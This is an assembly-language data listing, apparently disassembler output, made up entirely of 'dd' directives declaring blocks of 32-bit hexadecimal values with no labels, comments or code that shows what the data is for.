		dd 26940207h, 366593C0h, 20DEC973h, 0ABB411E9h,	9DEDAE5Fh
		dd 91F9D3C4h, 79C59B44h, 7E060162h, 0A1532EB4h,	84B6C00Fh
		dd 0F91C6657h, 0EF412689h, 0A8A3D5DEh, 68B0771Dh, 96CFF841h
		dd 8E32F0EEh, 0D9418120h, 0DDBCCC96h, 5E783B64h, 4D478D08h
		dd 1FEE57F0h, 45132231h, 62108D5Fh, 0B0F171E8h,	1FA51DB9h
		dd 4178C0Eh, 6B8437E0h,	912981Dh, 777E60C9h, 3B2055Fh
		dd 0B19EA53Bh, 912A0367h, 0A218F12Ah, 99943F64h, 0D27762DCh
		dd 971D23EAh, 0ED231598h
		dd 1BBD0CD5h, 0F18D28A6h, 95E72719h, 4357B4DDh,	0BA710DF8h
		dd 1D654FC2h, 0BC736FBh, 6BAF3633h, 0EF8C19D3h,	98CE441Ch
		dd 3EF36BC3h, 99496B28h, 0F5360D7Dh, 0E1E9C63Ch, 0D903BBCBh
		dd 30197E54h, 7542DE39h, 7E1E2238h, 72674813h, 1F646D50h
		dd 0DE05B72Eh, 8E11AE01h, 0D5678044h, 63B03E56h, 3C69D12Fh
		dd 0B0C7ABh, 0ED4F6639h, 0EF7D66DBh, 5DEB40F7h,	0F3A82991h
		dd 6DA72BAEh, 0ADB88767h, 0B6C01069h, 706CE21h,	32DA3E53h
		dd 4A0D1047h, 4CBF484Ch, 0E73E294Dh, 439E3EAEh,	0A91791F5h
		dd 6C44BB3h, 1E6194EDh,	2D29B76h, 0FA1B7E72h, 5369558Ch
		dd 0FA9C6657h, 19481E3Ah, 0B4039643h, 0FF45784Dh, 0A24F3D56h
		dd 0DA282C74h, 0E3295BFDh, 0F482A2A9h, 730CDE8h, 0AD218013h
		dd 0B01A7F5h, 17613E1Dh, 78D79B0Ah, 0D729A299h,	6BF477B3h
		dd 0D09B6730h, 3C36FDC9h, 5D44BAF7h, 7773F7F0h,	503E3362h
		dd 2880FC9Bh, 0D066D443h, 17A6A210h, 6AB8B219h,	9E6BFC3Bh
		dd 0A19388D7h, 51D8EC4Ch, 295352F0h, 2ECDBCD4h,	8D5DFF7Bh
		dd 2D387939h, 85B2DE41h, 45A02CE7h, 132590D7h, 5B5ED8D8h
		dd 99EDC3CEh, 181963A7h, 560F150Bh, 671798AEh, 7CA09491h
		dd 0DEBA672Bh, 0B118B51Bh, 86C4A950h, 69A03C76h, 9AE12177h
		dd 33F83916h, 0A8310088h, 7E9BC371h, 0FCDD4C70h, 856EFDFDh
		dd 0B1AB83C3h, 0B04B2C77h, 3BCA43B6h, 0FD0AD545h, 198D20D8h
		dd 29D694E3h, 0FFF45177h, 80D63B1Ch, 0EE63D7C4h, 5D850CE0h
		dd 0D6C21C0Eh, 4EAEEE7h, 0C8E75458h, 4BEF9430h,	0DF3C2230h
		dd 0AF657199h, 8C9E5E1Bh, 652B9E57h, 0F4F4F58Eh, 134F92F5h
		dd 0A4F11978h, 5C9362BCh, 77601D84h, 5653D6A5h,	27D1293Ah
		dd 3F3A853Bh, 1A348DBCh, 3BFFCA6h, 8B68D1FDh, 0B628429Eh
		dd 2908A0F2h, 21FC2EDDh, 41998E4h, 1DEA8000h, 4FE5EC67h
		dd 118B0E1Dh, 0E1D67974h, 0E7F6991Eh, 0FCB830D4h, 367263A3h
		dd 0A308089h, 82C4D804h, 0A6500E92h, 1BF3AB2Ah,	0AE6F694Eh
		dd 263DD527h, 0B3FBB5A2h, 89DC91B3h, 0E7E9C038h, 91A4A9C9h
		dd 6107E888h, 9C010789h, 0B4DBE448h, 89705C80h,	0C6EE2E35h
		dd 0DBF9EAB6h, 6F8BE59Ah, 972A37C1h, 5C8D95C3h,	2820290Bh
		dd 6EBA231Dh, 0F5751227h, 92C5EB88h, 0F95C08EFh, 38626C85h
		dd 5CE8718Ch, 817A282Eh, 0FD57CFFDh, 0BE8139E6h, 764AC0D5h
		dd 7A89F0D3h, 0A4743579h, 3F1A4279h, 0D1FC5C40h, 0E87A8F45h
		dd 0D2D83A85h, 79F7101Dh, 565CF9FFh, 2E9654DAh,	79905DE1h
		dd 0BADE7B55h, 600F68ECh, 0A0AF16D2h, 94966342h, 0E0A7DACEh
		dd 782FDF64h, 855E5BF1h, 0A56A749Ah, 21C446Dh, 8B781CCCh
		dd 33BC98C1h, 844641ECh, 0E7C5BC32h, 1531F394h,	6C261354h
		dd 0A856220Eh, 6B38A260h, 0FE709070h, 0B77A0014h, 18BD7697h
		dd 0D49E3999h, 605CC7C7h, 2222CD58h, 3351DA22h,	0A18DC5CEh
		dd 0B671B940h, 25E0C551h, 362EAAC7h, 0E3936666h, 15E3B04Dh
		dd 2A5187F1h, 94A43469h, 87F14557h, 0B6F53306h,	18D2A44Fh
		dd 1664283Fh, 50F0CD9Eh, 0E0B57987h, 0EAB05915h, 961D7866h
		dd 0F9F1D681h, 9B6F5224h, 59AA4970h, 0CD85790Ah, 0CD8DD865h
		dd 339FAFh, 0A1596B87h,	0BD3B29E3h, 64F6A453h, 9D2335CFh
		dd 0C3234F68h, 5C59939Bh, 0C599513h, 78B8C1B1h,	0A886BEA4h
		dd 0E448C69Ch, 0C10A98A3h, 55366F30h, 0FB09F8B1h, 0C6ACEAD6h
		dd 0C2FF8B76h, 5F87E71Fh, 0E49B9909h, 0CE4EDD32h, 0D95E9376h
		dd 73B87496h, 5343F15h,	0B3AC1BD0h, 27BE39E6h, 7BB4924h
		dd 0E20E4D6Ch, 0D02E2DB1h, 0C7AD25Fh, 3F7E2C3Ch, 5B4A5112h
		dd 11E46D0h, 0C8E677ACh, 96898CABh, 0B80C10E4h,	1164DB34h
		dd 283DE0B4h, 5FD3F53Fh, 33483C37h, 0DFECA377h,	0CEFC955Bh
		dd 17FBFBC8h, 66C8338Ah, 34B05055h, 0E6D870A6h,	0D0480C41h
		dd 9EAABD11h, 4269F228h, 0F8CEBBD8h, 5F347A9Dh,	57A7879Dh
		dd 0C935EF5h, 3C7D3073h, 0A691FBDDh, 2B9FD88Ah,	212D8CB9h
		dd 0BED8B0DFh, 0CDF96C88h, 8FBEC91h, 6444E3A5h,	3F9EB181h
		dd 4C11156Ah, 0E55CD65h, 0E81BAE3h, 59E0CA58h, 9F54276Dh
		dd 0FEBEA97Dh, 0E7E7DB47h, 500676E8h, 0C7D43130h, 0F7FF5150h
		dd 1EF7A36Dh, 0B5D7891Eh, 0BA9344CCh, 11A8436Fh, 0A6F7AB2Eh
		dd 0F57B2BF2h, 0A1532076h, 0B9EC7005h, 4BA0A5F1h, 0C111D716h
		dd 0F6C07A07h, 2C510CE9h, 0F42B6690h, 0D907C906h, 81D3BE61h
		dd 0ED4B14C0h, 0A06F941Ah, 615F0B80h, 32C0E7F2h, 80E17E56h
		dd 29B8B65h, 9761BEBh, 8C2C3061h, 171E94C8h, 5FC5A687h
		dd 6E0C32Dh, 0EAA0E9B4h, 8FA7D6F7h, 0F6DCE741h,	0FC32D845h
		dd 0EED1E247h, 373A5F4Ch, 7209C420h, 289D374Ah,	0F3A6D755h
		dd 63C57A3Eh, 4655F499h, 39E3D881h, 563C00F8h, 22F92342h
		dd 0FDFBC1DAh, 0F7649896h, 0BD0F0A38h, 10D08BF1h, 0BA8ECAC7h
		dd 524F6896h, 8B92878Ah, 0BDBE40F5h, 2E118B76h,	601C90E3h
		dd 7A763719h, 159D2C2Dh, 496B841Bh, 0BDF8C878h,	78BA14C2h
		dd 83ED9908h, 534FD909h, 6757BEB5h, 1F4F271h, 605E1CDFh
		dd 679A5F73h, 8E9195DCh, 4059033Dh, 0D15AC021h,	617A5063h
		dd 4871CE29h, 397F364Ah, 0DC98EAB8h, 7F565C44h,	80CC210h
		dd 405CAF19h, 880FF6A5h, 2D6380B8h, 77D9C54h, 726E0219h
		dd 8CF5A723h, 0EAC0E28h, 2B3EFCBCh, 70137FE1h, 10DBAFF8h
		dd 908F2716h, 0B653B7E5h, 6D35355Fh, 0DF44893Bh, 0E9F03C0Fh
		dd 0D8AF997h, 80ED1919h, 0DD14C300h, 65F3367h, 0C08CFFB6h
		dd 254764D9h, 253D5B38h, 1F42F0DAh, 0BBAD2998h,	0D0388F99h
		dd 0C176F11Bh, 0F4AA8E29h, 0A1EA46A6h, 0A70D5E52h, 0DFFD405h
		dd 0B9FB0F31h, 236C5EDh, 1796D1A8h, 0D67BEB6Fh,	0E3719CC4h
		dd 91DB2C17h, 9920C0DFh, 82A0F4DCh, 94592C1Ah, 0F662C2Ah
		dd 0F7572D2Ah, 0EFB636A1h, 931B845Bh, 66441FF7h, 7322590Ah
		dd 68B8B4ABh, 24DD9FE0h, 90C258AEh, 81676F11h, 500CB1C9h
		dd 0DA116A97h, 0E100F158h, 47C00255h, 7DCCBEBFh, 6B4A0F45h
		dd 82976348h, 46612394h, 917E1D5Eh, 60A32617h, 8322B07Dh
		dd 47C308E4h, 0C4C10CF2h, 678FA158h, 0FA3E01F6h, 533A3E2Dh
		dd 58E5722Dh, 0AA74ECA2h, 81789B6h, 0C98254F3h,	30FB2665h
		dd 37633715h, 3FB254D5h, 6760C201h, 4CDAFEAFh, 85BA2566h
		dd 0C5623594h, 6FF740E9h, 0E6C5A2F0h, 11DAA567h, 64C678ABh
		dd 583F8732h, 4186F5DDh, 0D1D42FA8h, 24FDD462h,	35BD1D84h
		dd 0DBBC99F3h, 1BE8823h, 0A8F721Eh, 0C3A832F8h,	68077D59h
		dd 0A9D8C5E5h, 32B47AA2h, 1DB32CAEh, 0F179CF78h, 2C019A40h
		dd 0D69D057Bh, 2304AAB4h, 9ADBE476h, 679F40B5h,	5B2375F6h
		dd 35D30C4Fh, 0E39C9471h, 0D6536E2Bh, 2CB1F8D5h, 6D1A33F4h
		dd 0AA10274Ah, 95500777h, 134CD117h, 0E4F450B4h, 8AD93D6Eh
		dd 95845196h, 9A1638F5h, 40A2C0FFh, 92A240F5h, 0E74331D2h
		dd 0DA6E1F62h, 67FE0FD7h, 6B972FA6h, 0C60E277h,	5A4F54ABh
		dd 359B0171h, 648BC5F9h, 0E024A298h, 27DFB433h,	7AF04A46h
		dd 0EA606692h, 8BDF4A06h, 0D88332C2h, 6F7D6C22h, 0B7B2221Eh
		dd 36FAFBDDh, 2F34DAA2h, 0E8FD919h, 832866Dh, 0A545B6D3h
		dd 3FC52A6h, 0BCCE6FF2h, 4B05A2DFh, 853D17B8h, 5D3801DDh
		dd 40578997h, 7B31EC8h,	5F8FE373h, 808D5F33h, 0BB7D4284h
		dd 0D09A55AAh, 5C9C9F49h, 736B4BF6h, 253D3CDAh,	2A7C050Bh
		dd 44F5A3CDh, 46D7C18Dh
		dd 0CA28C308h, 0E8A1EA5Ch, 537E759Ch, 0CE181CEh, 0F05F79C5h
		dd 0EBF788E6h, 0AA2FD3EDh, 363F5FF9h, 0C315F29Ch, 469C7308h
		dd 0F9286A8Dh, 0B95F549Ah, 746CFD86h, 0A5402D68h, 9FA4464Bh
		dd 2D030B98h, 0CB168DACh, 0F64AB90Bh, 6CA2AA60h, 35C5BBCAh
		dd 143B619Dh, 16C8B9ADh, 0BB9A794Ah, 0DC68A31h,	24021037h
		dd 54C1BA32h, 0A63D7444h, 9C0D49B7h, 0F0FA592Dh, 3E99439h
		dd 0BD01A9F2h, 4620F962h, 65463502h, 6C9698ABh,	0ED72B619h
		dd 1E38046Eh, 10A84420h, 0DAC042E9h, 6E899CB5h,	0EF2EFA43h
		dd 9D988975h, 810BE251h, 95AC4785h, 0FC32E245h,	0E3883149h
		dd 0D369FF0Fh, 0FAA01C21h, 994C6F46h, 916D0945h, 7C856D1Bh
		dd 0E4C06192h, 70992D84h, 0AB71D4AFh, 4E85B6BEh, 0F023A1Bh
		dd 49FECEB8h, 0B81FD224h, 0EA28AE46h, 87940C5Bh, 59BA53A6h
		dd 0C549C557h, 0EC34AF63h, 0FA496EF5h, 0D16EAA53h, 937DA0A0h
		dd 3B500884h, 0A3AE5B24h, 0CA1EE2D7h, 7BCB2328h, 0D188061Eh
		dd 0DA8FF963h, 2DC3B12Ch, 413DCC20h, 0EB1D50E8h, 53743390h
		dd 9B35F39Eh, 1552CE4Dh, 453FE538h, 0B8FDD499h,	9B3E11C0h
		dd 3B7CC0Ch, 1C743C6Eh,	1434050Ch, 80E0FD4Eh, 77345DC3h
		dd 3F30EC2Eh, 0E6506C98h, 364C53E9h, 0F98D7452h, 290000F3h
		dd 9F58C25Bh, 0F3258561h, 121965DCh, 0DF97354Fh, 32E76080h
		dd 0D6DDCBB7h, 0B6EA8BAAh, 2C878E2Bh, 8AD95593h, 25031AB0h
		dd 11C8094Ah, 0BDF345FCh, 37AFCF1Dh, 0ED80E60Ch, 81AA1267h
		dd 7CACE53Ch, 4C86E870h, 95317E04h, 98D48EF8h, 0F5862E20h
		dd 98492CDFh, 45C02191h, 0F609DAD1h, 77A40178h,	54C7415Ch
		dd 0C926AC75h, 1D904EAh, 0C387231Eh, 2357A729h,	0B9831238h
		dd 1CD06A67h, 39B0F463h, 3D7BBB2Ch, 5B764ACBh, 54DA4BDAh
		dd 0AE728761h, 0D1616797h, 54BE039Ah, 4D525132h, 402EBCFh
		dd 3D624F45h, 50D314F7h, 7AB268Dh, 941C6827h, 0D9BE4C56h
		dd 0C4F00DABh, 511D1C44h, 0E5D360F1h, 6F21B136h, 8BF6FA7Ch
		dd 80BEFD2Bh, 72712D74h, 1D713924h, 0FAB4F2A9h,	0F397CF46h
		dd 0C7937FFDh, 917392D9h, 62BDD1EAh, 7A7DF0F9h,	4C9ABAA0h
		dd 0E8E48183h, 0A8DA6149h, 0A207FDF0h, 0CC12C432h, 0E282932Fh
		dd 0DEF2D2E6h, 6310E3B5h, 4505126Ah, 0A52844D5h, 0A9D411FCh
		dd 399349ECh, 3F27CF31h, 69237265h, 8E0C7D70h, 0C17DA700h
		dd 908E5D21h, 0E61CF83Eh, 68FB9DE0h, 7B0CFB9Bh,	113E19E8h
		dd 5CC01CA2h, 2F4F2201h, 2CAEFE5Eh, 811AD32Eh, 0EF90505Fh
		dd 10544018h, 39E03F14h, 0C161817Eh, 0F9BD4292h, 57361FC8h
		dd 17B2ABAAh, 0FCEA038Ch, 0CBBF4FF6h, 0A210525Ch, 0FC02B659h
		dd 0B77915EAh, 0ABECE4B6h, 0FDA1DC01h, 0EBF9E174h, 96B5DD15h
		dd 0AD1CBD8Ch, 35BB1A0Fh, 0E1863C92h, 51DE7878h, 7E88BFC4h
		dd 0E131961Dh, 0CEBC9806h, 294E09EBh, 21C523BBh, 345B7455h
		dd 213AEC0Dh, 0D46D10F6h, 7C4AF89h, 7714DE65h, 0B9C61666h
		dd 73EFFB36h, 3B471D9Ah, 8B0F1B94h, 0DDEC315Bh,	3EDCA024h
		dd 509ED3C2h, 0A85A3506h, 8B00B0C7h, 9C221776h,	4EA35A1Bh
		dd 143F8ED3h, 7BBD06DAh, 45C44526h, 1B595044h, 8BC3BFECh
		dd 1BD57819h, 432D5F65h, 0A1510161h, 3E6985D6h,	0E9C90B2h
		dd 81785A15h, 0B77213C6h, 801FA458h, 7244DB0Ah,	549601E6h
		dd 65A551B6h, 0B18BA240h, 8E0752Dh, 0D848575Dh,	0F5E347C3h
		dd 8D8C5D12h, 25749F55h, 4AE0E72Fh, 896E00FAh, 660BA711h
		dd 46802046h, 5D535EC8h, 2F2F3A24h, 0CD38D11Bh,	0CE6439D1h
		dd 3CCC8072h, 65A138C9h, 0F460F009h, 3D3A17DDh,	0F1115D1Dh
		dd 0D215B22Bh, 5B14D78Ch, 41C9FF88h, 7FB930D7h,	0F7CB51C3h
		dd 2B52AF8Ah, 15170EDh,	0EA97D1E4h, 5753C363h, 0BA62303Bh
		dd 573DA69Ah, 3F8F873Fh, 996A4EDDh, 0E610F82Ah,	0CB4AAB7Ch
		dd 0EB467D4Ch, 0C624743Fh, 5685A0F8h, 128E381Eh, 0BC4F29AFh
		dd 0D3645DA9h, 1F4D883Dh, 14A1AD02h, 91B9A6EBh,	3AE800C7h
		dd 0CF39F266h, 0A0DFAFFBh, 32B42714h, 0F696AC7Ah, 0BBE980C9h
		dd 6B756F1Ch, 711D51D2h, 5EB4E26Bh, 11891AE6h, 3BCF1C53h
		dd 266258CCh, 174C8E16h, 35288761h, 0ECF88767h,	0D028E446h
		dd 3BCAD8C1h, 0A3D364EBh, 0DF5946D7h, 23A4B090h, 0C01044D4h
		dd 0BAAE63E9h, 7EDF924Fh, 0AB20EBC1h, 29FABF7Ah, 979C86F9h
		dd 10612096h, 786500B6h, 8EC9A318h, 9546A7D6h, 89D9078Dh
		dd 8516C459h, 94D56CE0h, 0C496B66Dh, 0B3CC7841h, 0D7537BBCh
		dd 9E04E19Dh, 0FC44789Ah, 5F572614h, 1E6A4251h,	0A8B2237Eh
		dd 0CDE59A37h, 0F580ECDBh, 0D6E78C63h, 9AE88E41h, 1D0EEA86h
		dd 0B60EEF2Eh, 17F99741h, 0B6651E25h, 2A0E595Ch, 381B839Ch
		dd 0F6768EF6h, 1A1EA0F2h, 54B3BDEDh, 0BEFE08B7h, 7C6A8CD3h
		dd 0BB6613F8h, 57A327B1h, 2B5217C1h, 8E507E4Fh,	5D34687Ah
		dd 0C1F625D6h, 0A0B4F3ADh, 99FD0F59h, 6C33CADCh, 384D60FAh
		dd 0C46DCA3Ah, 0B5F837Eh, 35D82D41h, 0D9998588h, 6F248DCh
		dd 0CC057889h, 0A26985C6h, 2FC0B1E8h, 5037B641h, 0FF474460h
		dd 51349CF5h, 0ECD35DAEh, 48CB01B3h, 2AC43DBFh,	0A4E158BAh
		dd 86F08CB8h, 26D5C644h, 6DF45A61h, 0DBF93A8Ch,	0DECA83D5h
		dd 9E46D166h, 9228BADCh, 0D68C8AF2h, 400FF421h,	0B1430F79h
		dd 3F25FF83h, 2E3F3BD5h, 3B72F2Ah, 3AD6BC18h, 0C018C095h
		dd 25D6B3F6h, 0A114A814h, 448B76C9h, 0BDD017D1h, 6482F906h
		dd 0BEBC2C60h, 0EE09B5EEh, 4E394B69h, 81327809h, 53405A77h
		dd 7D1760D5h, 815F7C6Eh, 0E7DEBCA6h, 235AFC6Eh,	6BFE159Ah
		dd 1920D51Dh, 300F79A7h, 0F2D6FB92h, 0F4B10738h, 0F9C7FC66h
		dd 8896DF92h, 0DE956153h, 596DBB2Bh, 63BC6F23h,	730C7FAEh
		dd 96413258h, 65347592h, 2C7B7F47h, 81DC4079h, 0C2971ECAh
		dd 25A7EA01h, 8323B875h, 8880C2E4h, 0FC0B0CA8h,	2489255Bh
		dd 9A64AA78h, 2C7915DEh, 79662225h, 6B09C6D0h, 0DAE37013h
		dd 0B06D282Ch, 60E30A44h, 619072Ah, 8E9EFA66h, 0D03B2136h
		dd 9A47D42Dh, 0D1B5E2E9h, 809C245Bh, 5BB71EB1h,	441D2B55h
		dd 4D12EB82h, 0D72FAEAFh, 95D159C5h, 0DB9F0D65h, 65C52BE6h
		dd 0FC12A2D2h, 0A0B39100h, 6ACD1386h, 0BC1DA687h, 0E9EB6DCEh
		dd 9F98C526h, 7A8BAE83h, 2778A1E5h, 0E9EC6CB8h,	0C1A63730h
		dd 0BF46D2BFh, 1159C709h, 0A6F5905Dh, 60C4063Dh, 0C1AAA4Dh
		dd 0EEE79C42h, 14C799B4h, 0F22740D9h, 0E4D46AF1h, 9750F693h
		dd 4858523Dh, 6CC3FCB3h, 12507877h, 0F941877Bh,	6B9A09A3h
		dd 914CDA7h, 0F4BBC3EAh, 7AFBD3AEh, 0EF1D35Eh, 37C7190Bh
		dd 877A9CC1h, 64847FF5h, 96ECFBAEh, 733823B4h, 0CA45565Eh
		dd 572695EFh, 4F821A39h, 530E5290h, 6A54C583h, 1359BB0Dh
		dd 44DD8A55h, 2C8869AEh, 2F662F4h, 0CFA32A47h, 92119F6Ch
		dd 0C5F4CFA9h, 32F6C9B6h, 650A88FAh, 612BE031h,	0A2A51E75h
		dd 6D30FC41h, 0BBADC86Ch, 0B2B5C6ACh, 190CCAAAh, 0D5DC4480h
		dd 0A6AEB75Bh, 0D9C13569h, 99ADAFFBh, 0D7E0F45h, 0CC9A38F6h
		dd 7EDDC06Bh, 7084547Dh, 53AC8913h, 8CE0E9C4h, 1BCDBA15h
		dd 9EAF7078h, 0F66E6BA8h, 0E15B94E2h, 791F28A9h, 4D693828h
		dd 0DFDBA201h, 3E2D37BCh, 770E7A7Fh, 90DBF390h,	614D771Fh
		dd 0BA425FEFh, 0C611116Ch, 2DAF4D8Ch, 0A6825E3Ah, 0CA19F918h
		dd 0CAAE3704h, 0CE1077A0h, 3C697D81h, 19B1B0F8h, 1448A6B8h
		dd 0AD686B61h, 0BEE6F9A1h
		dd 3FAF348Dh, 6CF74664h, 4D7E8441h, 2DF488B0h, 956208Dh
		dd 5AB5C1D6h, 4D4754Dh,	4CCEE1C6h, 0E9325E1h, 0BE68C50Ah
		dd 0DB66162Dh, 9E67F669h, 8E44A604h, 0EB5AC4D4h, 9B9DDB71h
		dd 0E5AB9534h, 4068C032h, 637D5EAEh, 0F5523C54h, 40C19B51h
		dd 203B8405h, 0D924056h, 353BADB2h, 38C39D37h, 527CB8Dh
		dd 46707578h, 99D0D0EAh, 0F07E0041h, 78493193h,	35A5EBEFh
		dd 8A6E1064h, 0AC72D1A0h, 7FFC1060h, 6290C4C7h,	0C7F5D257h
		dd 1071240Ah, 13FD4A2Bh, 0F87A8FFCh, 3D91FAB6h,	0AAE47C75h
		dd 295E7F43h, 356C8E79h, 68D1841Dh, 116A4398h, 0E4204004h
		dd 1639C815h, 81794B6Ah, 323C81D8h, 5416F731h, 8B783554h
		dd 699EE12Bh, 7CE5B9BFh, 8A46C098h, 0D544FA76h,	0BD9C8195h
		dd 7761C16Ch, 0AB3D6F1Dh, 88E28178h, 576E5098h,	0ED6A18Ah
		dd 0DFBAD5Eh, 4CEB5D05h, 9E6DEFC5h, 18470DD0h, 0FCD35D72h
		dd 0A3CEC753h, 210E71A6h, 5F0E34EDh, 3E97C0E1h,	0BC1B505h
		dd 0C3800F3Bh, 773583Fh, 0E03E3C71h, 5A5827F1h,	8DCC9ADEh
		dd 8411D037h, 829C3159h, 168C9F1Ah, 205DFA25h, 3F80874Eh
		dd 5558CC0Bh, 41C36B60h, 9D0D3013h, 0F3623132h,	0B3F5EAB5h
		dd 3261D180h, 0BAC8C703h, 2D3FCABCh, 0FF94ED37h, 30F81C96h
		dd 0CE1E4E32h, 2F014DDAh, 9314BD30h, 0B38343F8h, 0A18FF818h
		dd 7F8F1744h, 5706B1C0h, 0FFB7B7FFh, 5B916710h,	0E70C4DB1h
		dd 0E5273459h, 0A1313835h, 50FA2BAFh, 7E88A90Bh, 6568419Bh
		dd 21B1F022h, 805322AFh, 73A788DEh, 0D8EAE07Bh,	1F16DA47h
		dd 97652645h, 2B1D805Fh, 0EB89353Fh, 5AB9767Dh,	9780859Dh
		dd 44D4A8F8h, 9EC3A84Ah, 164DBB82h, 0DA9EB3AAh,	13D8A045h
		dd 6AC0DA8Ah, 0BF53D1E2h, 1B6C1566h, 3E2B3836h,	68099D83h
		dd 405EA237h, 8C58BE9Fh, 0E5EFB175h, 357F6C4h, 0FDA3FDC1h
		dd 183C568Bh, 137AAB9Ah, 9C64138Dh, 11FCC57Dh, 0BC7D0012h
		dd 876BD04Fh, 81A387A0h, 2BEB96FDh, 0A2C02840h,	712550CBh
		dd 0D97EADD2h, 0D2D4E81Eh, 52FC5E51h, 6C86B3ACh, 7E66BC16h
		dd 0C45AE694h, 25838AC0h, 96C69A1Ah, 50DD1B53h,	0E60E6755h
		dd 5E4395BEh, 8B8C6D7Eh, 487B1280h, 0A23688CDh,	0DB91691Fh
		dd 0FA36B86Fh, 97D3EF4Fh, 159397A8h, 9AC784F8h,	34F6C5Ah
		dd 0B5C4D95Ch, 779F7737h, 630A8046h, 38CC5A37h,	3AFF59E1h
		dd 53F3F1FEh, 0D14B0E5Fh, 0C16050A3h, 53648588h, 28BAE696h
		dd 6A54CCF0h, 0C979F416h, 0B766B8D2h, 3592EBC1h, 0C8430325h
		dd 0C68A6F4Bh, 0C2E163Ch, 2AF43633h, 1F73E4BFh,	2189B7CEh
		dd 435C9757h, 6ADE3881h, 461801E8h, 84CE20B3h, 521C4DDAh
		dd 0F8BF008Ch, 0A4DAE95Eh, 0F31A9252h, 0BD0E6258h, 0BF738906h
		dd 59EF8DD0h, 0B23FD808h, 9BCEE010h, 28852A8Eh,	2431B72h
		dd 51A2CC69h, 6F463FCBh, 173F981Bh, 48042524h, 0AC26CB7h
		dd 585BD5BDh, 0C0E098E7h, 1E185391h, 0FDAB9A1Dh, 47A87C72h
		dd 429D6CCFh, 8F65F5E9h, 2F4BD951h, 0DD025ACCh,	2630B621h
		dd 1A519CC1h, 6449A79h,	4BA5E07Bh, 0C7DD549Fh, 9A65BF24h
		dd 1794B4BAh, 111AA53Ah, 0F6CADE5Fh, 2464C374h,	0E9F14FE5h
		dd 1D132E46h, 678AD4A0h, 2759205Ah, 0E5351653h,	7B4F3147h
		dd 0F06DC283h, 6669AF4Eh, 1BCCBE58h, 1DE8839Fh,	401AEE4Bh
		dd 66E76819h, 0C83F3FCDh, 4E225F88h, 37AF1115h,	8A294AE9h
		dd 75D8FA83h, 0CB4827E5h, 0DC72AE09h, 0CAE5AE55h, 0A3F1A5Dh
		dd 0EA22F8F9h, 83308F36h, 4E83F3F4h, 4A1C12CFh,	0C158E124h
		dd 7CE25184h, 9607EFB7h, 9CDC4D0Bh, 8835AAE7h, 0EA06D1F5h
		dd 0F3D960B5h, 1A23E461h, 48EA588Ah, 3D41C548h,	1CA5E238h
		dd 0F51702A1h, 0C26F7514h, 3E7BB64h, 243B0279h,	693FE735h
		dd 0BBE8453h, 87BC8588h, 0E095FC39h, 3A62D8Ah, 2728B3B4h
		dd 8F645CDAh, 1F49CB2Ah, 8816042Fh, 0D8891547h,	11FDF915h
		dd 0CFC3FC4Ch, 0D39013E0h, 1D5FAE3Bh, 7FEE2E00h, 0A8EAD289h
		dd 12488813h, 54C53437h, 0E8E32C22h, 71A57D71h,	41115909h
		dd 48DDB559h, 953ABC08h, 76904CE0h, 0A4B9C155h,	0D11A5F2Bh
		dd 486CCE50h, 1C75FA3h,	0EB6C4EC5h, 0A6D0244Fh,	9F7252DDh
		dd 774AA49Ch, 8D111F30h, 1C930659h, 3FBEE560h, 80B84024h
		dd 3EC59361h, 0AB27103Bh, 1627F98Eh, 0ACE05B53h, 30FDDBD8h
		dd 0B1197ED1h, 0B4D51B1Bh, 0F118B84Bh, 55F23A74h, 0EAC0403h
		dd 2A5FDB9Dh, 9508D6FFh, 401A0DB1h, 0DEACB8D8h,	4CB315C8h
		dd 0AFE4194Bh, 5EF07495h, 0FADBD14Dh, 0B5CAC735h, 1EA9F140h
		dd 3711AC4Eh, 813B57DDh, 18A3A8A9h, 0C8625A6Eh,	0DAFEA155h
		dd 0ACF8A1ABh, 30CEDFDAh, 97D2717Ah, 0EBC22067h, 0B9FE6407h
		dd 0B7A254B0h, 58C56F9h, 72C53C17h, 31A1D42Fh, 62090C3Dh
		dd 0ADF84EC5h, 4573620h, 0DD43AC40h, 3B7EEA6Dh,	37E96A1Eh
		dd 0C598F70Eh, 5B237753h, 77A0B465h, 0C5FB21BFh, 5570D4F8h
		dd 0CF02D50Bh, 90F3D014h, 25310709h, 0E5F2F5B7h, 0DFA70351h
		dd 1E3E12CAh, 16955415h, 0B9FC2DE5h, 2EA71418h,	0FBD40DF2h
		dd 0BEFBD6A6h, 96336762h, 0B0A9C809h, 0D9CE9A96h, 80E0A41Bh
		dd 9CC2AE1Fh, 7C533FEEh, 0DBA7A6B8h, 0BCFB30E9h, 45FD67C2h
		dd 8589ADFCh, 0ED041A71h, 1721F51Dh, 0DD0CE4FAh, 1165B4ADh
		dd 0BF613087h, 0A78A1E48h, 0F7D30142h, 7A4B4132h, 2EFB647h
		dd 8FDF2C4Ch, 0A244E974h, 0AC983A1Fh, 0C701FB19h, 180809C9h
		dd 2C070487h, 45A1E122h, 588E3217h, 4785F624h, 523DB10Bh
		dd 0D6B40837h, 0BA76BCECh, 0CEEBA6BCh, 5F0E4301h, 5F2F420Ch
		dd 0BEA32E58h, 7C30A47Fh, 7E90AAEBh, 0AFA6C488h, 4219425h
		dd 16B7BE37h, 69B6B9FBh, 0A21B7E2Dh, 295E46BDh,	0F17222AFh
		dd 408726D3h, 2F56F7Dh,	36038E9Ah, 1F8ED66Bh, 847DCACCh
		dd 0A3099B1Fh, 0CF42E068h, 186041BCh, 0A449EC02h, 3F7978CFh
		dd 43A74AF0h, 66CC001Ch, 7A47D775h, 2EFF184h, 0A4CC2F55h
		dd 77E3807Eh, 844C8CBDh, 52DF7D09h, 28691D50h, 16E57A31h
		dd 0E014A572h, 0F2E1E7A2h, 4FD22C79h, 48A129A7h, 911609ECh
		dd 0D236C9Eh, 0B46FC58Eh, 37B9F0CAh, 0E5EDC993h, 0A3728BC2h
		dd 5BC12FA1h, 1CF9F84Bh, 34CDA75h, 6F5E4555h, 81EBAD5Bh
		dd 0D466022h, 2F20F83Dh, 7D53F0A2h, 3F22FE92h, 0F2A3FF14h
		dd 38D6DFBEh, 0F1615992h, 12045F01h, 58FC095Dh,	217084C7h
		dd 15C55462h, 3C1EAFA9h, 831ED615h, 98145638h, 0BB55916Fh
		dd 0E531F66Fh, 8A841B4Dh, 0A31130B6h, 9BBF9587h, 1712ADF3h
		dd 0F9061715h, 5EC4D4Bh, 0D5B2402Fh, 0B99C6283h, 55EF718Eh
		dd 0DC4B6B91h, 7AE096DCh, 93EEAB37h, 7779AC13h,	0BD2DB241h
		dd 0F5E2293Eh, 469D9745h, 0B87C0069h, 5F0A7ADAh, 3E56AE6Eh
		dd 8B3D4231h, 358E0CDFh, 0DA68759Bh, 0D54AC58Ah, 915299BEh
